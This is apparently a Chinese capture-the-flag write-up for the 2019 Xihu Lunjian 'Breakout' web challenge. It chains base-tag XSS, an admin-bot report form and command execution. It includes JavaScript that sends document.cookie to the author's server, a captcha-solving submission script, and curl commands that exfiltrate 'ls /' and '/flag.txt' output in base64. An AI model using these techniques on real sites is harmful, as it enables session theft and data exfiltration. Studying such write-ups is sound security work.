2019西湖论剑 CTF Breakout WP

WEB2 Breakout

​ (浏览器崩了 导致预留的准备截图的都没有了)

​ 这道题目直接随便输入账号密码就能登录。

​ 进入一共有三个页面 其中exec需要管理员权限才能执行。

​ 经过一番探索后发现在message页面可以留言。且report上面可以提交url(说明漏洞利用点是可以通过xss获取到管理员的cookie)

​ message经过多种尝试后,发现可以通过base 标签进行js地址替换,使得该页面加载的js可控

​ 于是在message页面留言并自己服务器上的/js/index.js上增加cookie反弹到自己服务器。

$(document).ready(function(){
  $.ajax({url:"http://服务器地址/index.php", data: {"cookie":document.cookie} ,async:false});

});
​```
#encoding=utf-8
# 这里用域名的提示这个链接并不是我们的 并且咨询主办方说题目没问题,于是我就尝试ping 了下获取ip带端口就能提交,(现在想想可能是因为只能提交存在的页面的原因吧(report/main/exec)
import requests
import re
cookies={
    'PHPSESSID':'oaahbvmnd48ihgf9gb7c0efh45',
    'token':'sgdream97'
}
#http://101.68.81.236:10171/main.php
a=requests.session()
back = a.get('http://101.68.81.236:10171/report.php',cookies=cookies)
code = re.findall("substr\(md5\(\$str\), 0, 6\) === (......)",back.text.replace("\n",'').replace("\r",''))
print(code)

back = requests.get("http://127.0.0.1/substr/?id="+code[0])# 这个是我本地运行的获取验证码的
code = (back.text)
back = a.post("http://101.68.81.236:10171/report.php",data={'url':'http://101.68.81.236:10171/main.php','code':code , 'exec':1},cookies=cookies)

cookie

获取到cookie后在去访问exec.php

使用 curl http://服务器地址/index.php?s=`ls /|base64` 获取flag位置

ls base64

通过 curl http://服务器地址/index.php?s=`cat /flag.txt |base64`

cat /flag.txt

获取flag

flag

你可能感兴趣的:(2019西湖论剑 CTF Breakout WP)